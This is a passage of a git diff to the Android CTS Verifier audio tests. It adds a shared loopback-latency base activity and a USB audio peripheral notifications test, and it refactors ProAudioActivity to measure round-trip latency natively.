+    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
+        // NOP
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    protected void showConnectedAudioPeripheral() {
+        mInputDeviceTxt.setText(
+                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
+                        : "");
+        mOutputDeviceTxt.setText(
+                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
+                        : "");
+    }
+
+    /**
+     * refresh Audio Level seekbar and text
+     */
+    private void refreshLevel() {
+        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
+        mAudioLevelSeekbar.setProgress(currentLevel);
+
+        String levelText = String.format("%s: %d/%d",
+                getResources().getString(R.string.audio_loopback_level_text),
+                currentLevel, mMaxLevel);
+        mAudioLevelText.setText(levelText);
+    }
+
+    private void showLoopbackInfoDialog() {
+        new AlertDialog.Builder(this)
+                .setTitle(R.string.loopback_dlg_caption)
+                .setMessage(R.string.loopback_dlg_text)
+                .setPositiveButton(R.string.audio_general_ok, null)
+                .show();
+    }
+
+    //
+    // show active progress bar
+    //
+    protected void showWait(boolean show) {
+        if (show) {
+            mProgressBar.setVisibility(View.VISIBLE) ;
+        } else {
+            mProgressBar.setVisibility(View.INVISIBLE) ;
+        }
+    }
+
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.loopback_tests_yes_btn:
+                    Log.i(TAG, "User confirms Headset Port existence");
+                    recordLoopbackStatus(true);
+                    mLoopbackPortYesBtn.setEnabled(false);
+                    mLoopbackPortNoBtn.setEnabled(false);
+                    break;
+
+                case R.id.loopback_tests_no_btn:
+                    Log.i(TAG, "User denies Headset Port existence");
+                    recordLoopbackStatus(false);
+                    getPassButton().setEnabled(true);
+                    mLoopbackPortYesBtn.setEnabled(false);
+                    mLoopbackPortNoBtn.setEnabled(false);
+                    break;
+
+                case R.id.loopback_tests_info_btn:
+                    showLoopbackInfoDialog();
+                    break;
+            }
+        }
+    }
+
+    //
+    // Common loging
+    //
+    protected void recordTestResults() {
+        ReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                "Estimated Latency",
+                mLatencyMillis,
+                ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+
+        reportLog.addValue(
+                "Confidence",
+                mConfidence,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Sample Rate",
+                mNativeAnalyzerThread.getSampleRate(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Is Peripheral Attached",
+                mIsPeripheralAttached,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        if (mIsPeripheralAttached) {
+            reportLog.addValue(
+                    "Input Device",
+                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    "Ouput Device",
+                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+        }
+    }
+
+    //
+    //  test logic
+    //
+    protected void startAudioTest(Handler messageHandler) {
+        getPassButton().setEnabled(false);
+        mLatencyMillis = 0.0;
+        mConfidence = 0.0;
+
+        mNativeAnalyzerThread = new NativeAnalyzerThread();
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.setMessageHandler(messageHandler);
+            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+            mNativeAnalyzerThread.startTest();
+
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    protected void handleTestCompletion() {
+        // Make sure the test thread is finished. It should already be done.
+        if (mNativeAnalyzerThread != null) {
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    /**
+     * handler for messages from audio thread
+     */
+    protected Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            switch(msg.what) {
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+                    Log.v(TAG,"got message native rec started!!");
+                    showWait(true);
+                    mResultText.setText("Test Running...");
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error opening streams.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error while recording.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+                    mResultText.setText("Test FAILED due to errors.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+                    if (mNativeAnalyzerThread != null) {
+                        mLatencyMillis = mNativeAnalyzerThread.getLatencyMillis();
+                        mConfidence = mNativeAnalyzerThread.getConfidence();
+                    }
+                    mResultText.setText(String.format(
+                            "Test Finished\nLatency:%.2f ms\nConfidence: %.2f",
+                            mLatencyMillis,
+                            mConfidence));
+                    handleTestCompletion();
+                    break;
+                default:
+                    break;
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        connectLoopbackUI();
+    }
+
+    private void recordLoopbackStatus(boolean has) {
+        getReportLog().addValue(
+                "User reported loopback availability: ",
+                has ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    //
+    // Overrides
+    //
+    void enableTestUI(boolean enable) {
+
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
new file mode 100644
index 0000000..ded5c1e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.Context;
+
+import android.os.Bundle;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Tests Audio Device roundtrip latency by using a loopback plug.
+ */
+public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
+    private static final String TAG = "AudioLoopbackLatencyActivity";
+
+//    public static final int BYTES_PER_FRAME = 2;
+
+    private int mMinBufferSizeInFrames = 0;
+
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    Button mTestButton;
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest();
+                    break;
+            }
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        // we need to do this first so that the layout is inplace when the super-class inits
+        setContentView(R.layout.audio_loopback_latency_activity);
+        super.onCreate(savedInstanceState);
+
+        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+    }
+
+    protected void startAudioTest() {
+        mTestButton.setEnabled(false);
+        super.startAudioTest(mMessageHandler);
+    }
+
+    protected void handleTestCompletion() {
+        super.handleTestCompletion();
+
+        boolean resultValid = mConfidence >= CONFIDENCE_THRESHOLD
+                && mLatencyMillis > 1.0;
+        getPassButton().setEnabled(resultValid);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
+    }
+
+    /**
+     * Store test results in log
+     */
+    protected void recordTestResults() {
+        super.recordTestResults();
+
+        ReportLog reportLog = getReportLog();
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                "Audio Level",
+                audioLevel,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Frames Buffer Size",
+                mMinBufferSizeInFrames,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        Log.v(TAG,"Results Recorded");
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 42f22aa..2f74074 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -38,6 +38,8 @@
     private volatile boolean mEnabled = false;
     private volatile double mLatencyMillis = 0.0;
     private volatile double mConfidence = 0.0;
+    private volatile int mSampleRate = 0;
+
     private int mInputPreset = 0;
 
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED = 892;
@@ -74,6 +76,7 @@
     private native int analyze(long audio_context);
     private native double getLatencyMillis(long audio_context);
     private native double getConfidence(long audio_context);
+    private native int getSampleRate(long audio_context);
 
     public double getLatencyMillis() {
         return mLatencyMillis;
@@ -83,6 +86,8 @@
         return mConfidence;
     }
 
+    public int getSampleRate() { return mSampleRate; }
+
     public synchronized void startTest() {
         if (mThread == null) {
             mEnabled = true;
@@ -111,6 +116,8 @@
     private Runnable mBackGroundTask = () -> {
         mLatencyMillis = 0.0;
         mConfidence = 0.0;
+        mSampleRate = 0;
+
         boolean analysisComplete = false;
 
         log(" Started capture test");
@@ -155,6 +162,7 @@
                     }
                     mLatencyMillis = getLatencyMillis(audioContext);
                     mConfidence = getConfidence(audioContext);
+                    mSampleRate = getSampleRate(audioContext);
                     break;
                 } else {
                     try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 07a2d4d..c1714cc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,30 +17,30 @@
 package com.android.cts.verifier.audio;
 
 import android.app.AlertDialog;
-import android.content.ComponentName;
 import android.content.DialogInterface;
-import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
-import android.media.AudioManager;
+
 import android.os.Bundle;
 import android.os.Handler;
+
 import android.util.Log;
+
 import android.view.View;
+
 import android.widget.Button;
 import android.widget.CheckBox;
 import android.widget.TextView;
-import android.widget.Toast;
 
-import com.android.cts.verifier.PassFailButtons;
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
-import java.util.List;
-
 public class ProAudioActivity
-        extends PassFailButtons.Activity
+        extends AudioLoopbackBaseActivity
         implements View.OnClickListener {
     private static final String TAG = ProAudioActivity.class.getName();
     private static final boolean DEBUG = false;
@@ -53,29 +53,15 @@
     private boolean mClaimsUSBPeripheralMode;  // CDD ProAudio section C-1-3
     private boolean mClaimsHDMI;               // CDD ProAudio section C-1-3
 
-    // Values
-    private static final double LATENCY_MS_LIMIT = 20.0; // CDD ProAudio section C-1-2
-    private double mRoundTripLatency;
-    private static final double CONFIDENCE_LIMIT = 0.75; // TBD
-    private double mRoundTripConfidence;
-
-    // Peripheral(s)
-    AudioManager mAudioManager;
-    private boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
-    private AudioDeviceInfo mOutputDevInfo;
-    private AudioDeviceInfo mInputDevInfo;
-
-    private AudioDeviceInfo mHDMIDeviceInfo;
+    AudioDeviceInfo mHDMIDeviceInfo;
 
     // Widgets
-    TextView mInputDeviceTxt;
-    TextView mOutputDeviceTxt;
-    TextView mRoundTripLatencyTxt;
-    TextView mRoundTripConfidenceTxt;
     TextView mHDMISupportLbl;
 
     CheckBox mClaimsHDMICheckBox;
 
+    Button mRoundTripTestButton;
+
     // Borrowed from PassFailButtons.java
     private static final int INFO_DIALOG_ID = 1337;
     private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
@@ -107,15 +93,6 @@
         return getPackageManager().hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
     }
 
-    private void showConnectedAudioPeripheral() {
-        mInputDeviceTxt.setText(
-                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "");
-        mOutputDeviceTxt.setText(
-                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "");
-    }
-
     // HDMI Stuff
     private boolean isHDMIValid() {
         if (mHDMIDeviceInfo == null) {
@@ -167,106 +144,36 @@
         return true;
     }
 
+    protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+        if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+            mHDMIDeviceInfo = devInfo;
+        }
+
+        if (mHDMIDeviceInfo != null) {
+            mClaimsHDMICheckBox.setChecked(true);
+            mHDMISupportLbl.setText(getResources().getString(
+                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
+        }
+        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+
+        calculatePass();
+    }
+
     private void calculatePass() {
         boolean hasPassed = !mClaimsProAudio ||
                 (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
-                mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
-                mRoundTripConfidence >= CONFIDENCE_LIMIT);
+                mConfidence >= CONFIDENCE_THRESHOLD && mLatencyMillis <= PROAUDIO_LATENCY_MS_LIMIT);
         getPassButton().setEnabled(hasPassed);
     }
 
-    //
-    // Loopback App Stuff
-    //
-    private final static String LOOPBACK_PACKAGE_NAME = "org.drrickorang.loopback";
-
-    // Test Intents
-    // From Loopback App LoobackActivity.java
-    private static final String INTENT_TEST_TYPE = "TestType";
-
-    // from Loopback App Constant.java
-    public static final int LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY = 222;
-
-    public boolean isLoopbackAppInstalled() {
-        try {
-            getPackageManager().getPackageInfo(
-                    LOOPBACK_PACKAGE_NAME, PackageManager.GET_ACTIVITIES);
-            return true;
-        } catch (PackageManager.NameNotFoundException e) {
-            // This indicates that the specified app (Loopback in this case) is NOT installed
-            // fall through...
-        }
-        return false;
-    }
-
-    // arbitrary request code
-    private static final int LATENCY_RESULTS_REQUEST_CODE = 1;
-    private static final String KEY_CTSINVOCATION = "CTS-Test";
-    private static final String KEY_ROUND_TRIP_TIME = "RoundTripTime";
-    private static final String KEY_ROUND_TRIP_CONFIDENCE = "Confidence";
-
-    // We may need to iterate and average round-trip measurements
-    // So add this plumbing though NOT USED.
-    private static final String KEY_NUMITERATIONS = "NumIterations";
-    private static final int NUM_ROUNDTRIPITERATIONS = 3;
-
-    private void runRoundTripTest() {
-        if (!isLoopbackAppInstalled()) {
-            Toast.makeText(this, "Loopback App not installed", Toast.LENGTH_SHORT).show();
-            return;
-        }
-
-        if (!mIsPeripheralAttached) {
-            Toast.makeText(this, "Please connect a USB audio peripheral with loopback cables" +
-                    " before running the latency test.",
-                    Toast.LENGTH_SHORT).show();
-            return;
-        }
-
-        mRoundTripLatency = 0.0;
-        mRoundTripConfidence = 0.0;
-        Intent intent = new Intent(Intent.CATEGORY_LAUNCHER);
-        intent.setComponent(
-            new ComponentName(LOOPBACK_PACKAGE_NAME,LOOPBACK_PACKAGE_NAME + ".LoopbackActivity"));
-
-        intent.putExtra(KEY_CTSINVOCATION, "CTS-Verifier Invocation");
-        intent.putExtra(INTENT_TEST_TYPE, LOOPBACK_PLUG_AUDIO_THREAD_TEST_TYPE_LATENCY);
-        intent.putExtra(KEY_NUMITERATIONS, NUM_ROUNDTRIPITERATIONS);
-
-        startActivityForResult(intent, LATENCY_RESULTS_REQUEST_CODE);
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        // Check which request we're responding to
-        if (resultCode == RESULT_OK) {
-            Toast.makeText(this, "Round Trip Test Complete.", Toast.LENGTH_SHORT).show();
-            if (requestCode == LATENCY_RESULTS_REQUEST_CODE) {
-                Bundle extras = data != null ? data.getExtras() : null;
-                if (extras != null) {
-                    mRoundTripLatency =  extras.getDouble(KEY_ROUND_TRIP_TIME);
-                    mRoundTripLatencyTxt.setText(String.format("%.2f ms", mRoundTripLatency));
-                    mRoundTripConfidence = extras.getDouble(KEY_ROUND_TRIP_CONFIDENCE);
-                    mRoundTripConfidenceTxt.setText(String.format("%.2f", mRoundTripConfidence));
-                }
-            }
-            calculatePass();
-        } else {
-            Toast.makeText(this, "Round Trip Test Canceled.", Toast.LENGTH_SHORT).show();
-        }
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
         setContentView(R.layout.pro_audio);
 
-        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
-        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+        super.onCreate(savedInstanceState);
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
@@ -294,14 +201,8 @@
         ((TextView)findViewById(
                 R.id.proAudioMidiHasUSBPeripheralLbl)).setText("" + mClaimsUSBPeripheralMode);
 
-        // Connected Device
-        mInputDeviceTxt = ((TextView)findViewById(R.id.proAudioInputLbl));
-        mOutputDeviceTxt = ((TextView)findViewById(R.id.proAudioOutputLbl));
-
-        // Round-trip Latency
-        mRoundTripLatencyTxt = (TextView)findViewById(R.id.proAudioRoundTripLbl);
-        mRoundTripConfidenceTxt = (TextView)findViewById(R.id.proAudioConfidenceLbl);
-        ((Button)findViewById(R.id.proAudio_runRoundtripBtn)).setOnClickListener(this);
+        mRoundTripTestButton = (Button)findViewById(R.id.proAudio_runRoundtripBtn);
+        mRoundTripTestButton.setOnClickListener(this);
 
         // HDMI
         mHDMISupportLbl = (TextView)findViewById(R.id.proAudioHDMISupportLbl);
@@ -311,68 +212,72 @@
         calculatePass();
     }
 
-    private void scanPeripheralList(AudioDeviceInfo[] devices) {
-        // CDD Section C-1-3: USB port, host-mode support
+    protected void startAudioTest() {
+        mRoundTripTestButton.setEnabled(false);
+        super.startAudioTest(mMessageHandler);
+    }
 
-        // Can't just use the first record because then we will only get
-        // Source OR sink, not both even on devices that are both.
-        mOutputDevInfo = null;
-        mInputDevInfo = null;
-
-        // Any valid peripherals
-        // Do we leave in the Headset test to support a USB-Dongle?
-        for (AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||     // USB Peripheral
-                devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET ||    // USB dongle+LBPlug
-                devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
-                devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
-                if (devInfo.isSink()) {
-                    mOutputDevInfo = devInfo;
-                }
-                if (devInfo.isSource()) {
-                    mInputDevInfo = devInfo;
-                }
-            } else if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
-                mHDMIDeviceInfo = devInfo;
-            }
-        }
-
-        mIsPeripheralAttached = mOutputDevInfo != null || mInputDevInfo != null;
-        showConnectedAudioPeripheral();
-
-        if (mHDMIDeviceInfo != null) {
-            mClaimsHDMICheckBox.setChecked(true);
-            mHDMISupportLbl.setText(getResources().getString(
-                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
-        }
-        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+    protected void handleTestCompletion() {
+        super.handleTestCompletion();
 
         calculatePass();
+
+        recordTestResults();
+
+        showWait(false);
+        mRoundTripTestButton.setEnabled(true);
     }
 
-    private class ConnectListener extends AudioDeviceCallback {
-        /*package*/ ConnectListener() {}
+    /**
+     * Store test results in log
+     */
+    protected void recordTestResults() {
+        super.recordTestResults();
 
-        //
-        // AudioDevicesManager.OnDeviceConnectionListener
-        //
-        @Override
-        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
+        ReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                "Claims Pro Audio",
+                mClaimsProAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
 
-        @Override
-        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
+        reportLog.addValue(
+                "Claims Low-Latency Audio",
+                mClaimsLowLatencyAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims MIDI",
+                mClaimsMIDI,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims USB Host Mode",
+                mClaimsUSBHostMode,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims USB Peripheral Mode",
+                mClaimsUSBPeripheralMode,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                "Claims HDMI",
+                mClaimsHDMI,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
     }
 
-    @Override
+        @Override
     public void onClick(View view) {
         switch (view.getId()) {
         case R.id.proAudio_runRoundtripBtn:
-            runRoundTripTest();
-            break;
+            startAudioTest();
+           break;
 
         case R.id.proAudioHasHDMICheckBox:
             if (mClaimsHDMICheckBox.isChecked()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
new file mode 100644
index 0000000..c8481fe
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+@CddTest(requirement="7.8.2.2/H-2-1,H-3-1,H-4-2,H-4-3,H-4-4,H-4-5")
+public class USBAudioPeripheralNotificationsTest extends PassFailButtons.Activity {
+    private static final String
+            TAG = USBAudioPeripheralNotificationsTest.class.getSimpleName();
+
+    private AudioManager    mAudioManager;
+
+    private TextView mHeadsetInName;
+    private TextView mHeadsetOutName;
+    private TextView mUsbDeviceInName;
+    private TextView mUsbDeviceOutName;
+
+    // private TextView mHeadsetPlugText;
+    private TextView mHeadsetPlugMessage;
+
+    // Intents
+    private HeadsetPlugReceiver mHeadsetPlugReceiver;
+    private boolean mPlugIntentReceived;
+
+    // Device
+    private AudioDeviceInfo mUsbHeadsetInInfo;
+    private AudioDeviceInfo mUsbHeadsetOutInfo;
+    private AudioDeviceInfo mUsbDeviceInInfo;
+    private AudioDeviceInfo mUsbDeviceOutInfo;
+
+    private boolean mUsbHeadsetInReceived;
+    private boolean mUsbHeadsetOutReceived;
+    private boolean mUsbDeviceInReceived;
+    private boolean mUsbDeviceOutReceived;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.uap_notifications_layout);
+
+        mHeadsetInName = (TextView)findViewById(R.id.uap_messages_headset_in_name);
+        mHeadsetOutName = (TextView)findViewById(R.id.uap_messages_headset_out_name);
+
+        mUsbDeviceInName = (TextView)findViewById(R.id.uap_messages_usb_device_in_name);
+        mUsbDeviceOutName = (TextView)findViewById(R.id.uap_messages_usb_device__out_name);
+
+        mHeadsetPlugMessage = (TextView)findViewById(R.id.uap_messages_plug_message);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        mHeadsetPlugReceiver = new HeadsetPlugReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_HEADSET_PLUG);
+        registerReceiver(mHeadsetPlugReceiver, filter);
+
+        setInfoResources(R.string.audio_uap_notifications_test, R.string.uapNotificationsTestInfo,
+                -1);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+    }
+
+    //
+    // UI
+    //
+    private void showConnectedDevices() {
+        if (mUsbHeadsetInInfo != null) {
+            mHeadsetInName.setText(
+                    "Headset INPUT Connected " + mUsbHeadsetInInfo.getProductName());
+        } else {
+            mHeadsetInName.setText("");
+        }
+
+        if (mUsbHeadsetOutInfo != null) {
+            mHeadsetOutName.setText(
+                    "Headset OUTPUT Connected " + mUsbHeadsetOutInfo.getProductName());
+        } else {
+            mHeadsetOutName.setText("");
+        }
+
+        if (mUsbDeviceInInfo != null) {
+            mUsbDeviceInName.setText(
+                    "USB DEVICE INPUT Connected " + mUsbDeviceInInfo.getProductName());
+        } else {
+            mUsbDeviceInName.setText("");
+        }
+
+        if (mUsbDeviceOutInfo != null) {
+            mUsbDeviceOutName.setText(
+                    "USB DEVICE OUTPUT Connected " + mUsbDeviceOutInfo.getProductName());
+        } else {
+            mUsbDeviceOutName.setText("");
+        }
+    }
+
+    private void reportPlugIntent(Intent intent) {
+        // [ 7.8 .2.2/H-2-1] MUST broadcast Intent ACTION_HEADSET_PLUG with "microphone" extra
+        // set to 0 when the USB audio terminal types 0x0302 is detected.
+        // [ 7.8 .2.2/H-3-1] MUST broadcast Intent ACTION_HEADSET_PLUG with "microphone" extra
+        // set to 1 when the USB audio terminal types 0x0402 is detected, they:
+        mPlugIntentReceived = true;
+
+        // state - 0 for unplugged, 1 for plugged.
+        // name - Headset type, human readable string
+        // microphone - 1 if headset has a microphone, 0 otherwise
+        int state = intent.getIntExtra("state", -1);
+        if (state != -1) {
+
+            StringBuilder sb = new StringBuilder();
+            sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged"));
+
+            String name = intent.getStringExtra("name");
+            if (name != null) {
+                sb.append(" - " + name);
+            }
+
+            int hasMic = intent.getIntExtra("microphone", 0);
+            if (hasMic == 1) {
+                sb.append(" [mic]");
+            }
+
+            mHeadsetPlugMessage.setText(sb.toString());
+        }
+
+        getReportLog().addValue(
+                "ACTION_HEADSET_PLUG Intent Received. State: ",
+                state,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        getPassButton().setEnabled(calculatePass());
+    }
+
+    //
+    // Test Status
+    //
+    private boolean calculatePass() {
+        return mUsbHeadsetInReceived && mUsbHeadsetOutReceived &&
